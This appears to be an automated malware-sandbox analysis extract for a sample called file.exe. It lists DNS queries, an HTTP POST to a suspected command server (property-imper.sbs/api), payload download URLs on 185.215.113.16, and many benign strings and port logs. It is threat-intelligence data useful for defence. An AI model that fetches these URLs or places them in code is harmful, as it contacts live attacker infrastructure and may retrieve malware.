Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: property-imper.sbs
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: property-imper.sbs

Source: file.exe, 00000001.00000002.1730648035.0000000000B15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1646578503.0000000000B62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000001.00000002.1730486808.00000000008FA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: file.exe, 00000001.00000002.1730648035.0000000000B15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1646578503.0000000000B62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exes
Source: file.exe, 00000001.00000002.1730648035.0000000000B15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1646578503.0000000000B62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000001.00000003.1444762763.00000000057E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000001.00000003.1444762763.00000000057E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000001.00000003.1551322569.0000000000B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro8
Source: file.exe, 00000001.00000003.1444762763.00000000057E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000001.00000003.1444762763.00000000057E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000001.00000003.1444762763.00000000057E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000001.00000003.1444762763.00000000057E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000001.00000003.1444762763.00000000057E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000001.00000003.1444762763.00000000057E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000001.00000003.1444762763.00000000057E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_133.8.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000001.00000003.1444762763.00000000057E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000001.00000003.1444762763.00000000057E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000001.00000003.1386903755.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387284219.00000000057E6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387080103.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_133.8.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_133.8.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_133.8.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_133.8.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000001.00000003.1468290914.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696497267574.12791&key=1696497267400700
Source: file.exe, 00000001.00000003.1468290914.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&ci=1696497267574.12791&key=1696497267400700002.1&cta
Source: file.exe, 00000001.00000003.1386903755.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387284219.00000000057E6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387080103.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000001.00000003.1386903755.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387284219.00000000057E6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387080103.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000001.00000003.1386903755.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387284219.00000000057E6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387080103.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000001.00000003.1468290914.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/5b4DH7KHAf2n_mNaLjNi1-UAoKmM9rhqaA9w7FyznHo.10943.jpg
Source: file.exe, 00000001.00000003.1468290914.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000001.00000003.1386903755.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387284219.00000000057E6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387080103.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000001.00000003.1386903755.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387284219.00000000057E6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387080103.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000001.00000003.1386903755.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387284219.00000000057E6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387080103.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_133.8.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_133.8.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_133.8.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_133.8.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_133.8.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_133.8.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_133.8.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_133.8.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_133.8.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_133.8.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000001.00000003.1468290914.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqrfQHr4pbW4ZbWfpbY7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_133.8.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: file.exe, 00000001.00000003.1419909115.0000000005826000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs//
Source: file.exe, 00000001.00000003.1472386695.0000000000B99000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1468290914.0000000000B98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1492199573.0000000000B99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/J/z
Source: file.exe, file.exe, 00000001.00000003.1472386695.0000000000B99000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1492226874.0000000000B89000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1468290914.0000000000B98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1491848187.0000000000B86000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1551248310.0000000000B87000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1512398815.0000000000B7F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1468317163.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1730648035.0000000000B07000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1498393669.0000000000B89000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1551346577.0000000000B89000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1386021746.0000000000B6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api
Source: file.exe, 00000001.00000003.1468317163.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiBo
Source: file.exe, 00000001.00000003.1468317163.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiiw
Source: chromecache_125.8.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000001.00000003.1446273528.00000000058DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000001.00000003.1446273528.00000000058DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_125.8.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000001.00000003.1468290914.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15e498ec2b39921665a1fbc954bff40a8106629178eadc64
Source: file.exe, 00000001.00000003.1386903755.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387284219.00000000057E6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387080103.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000001.00000003.1386903755.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387284219.00000000057E6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387080103.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000001.00000003.1468290914.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.marriott.com/default.mi?utm_source=admarketplace&utm_medium=cpc&utm_campaign=Marriott_Pr
Source: file.exe, 00000001.00000003.1446273528.00000000058DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.d-GHL1OW1fkT
Source: file.exe, 00000001.00000003.1446273528.00000000058DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.sYEKgG4Or0s6
Source: file.exe, 00000001.00000003.1446273528.00000000058DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000001.00000003.1446273528.00000000058DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000001.00000003.1446273528.00000000058DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
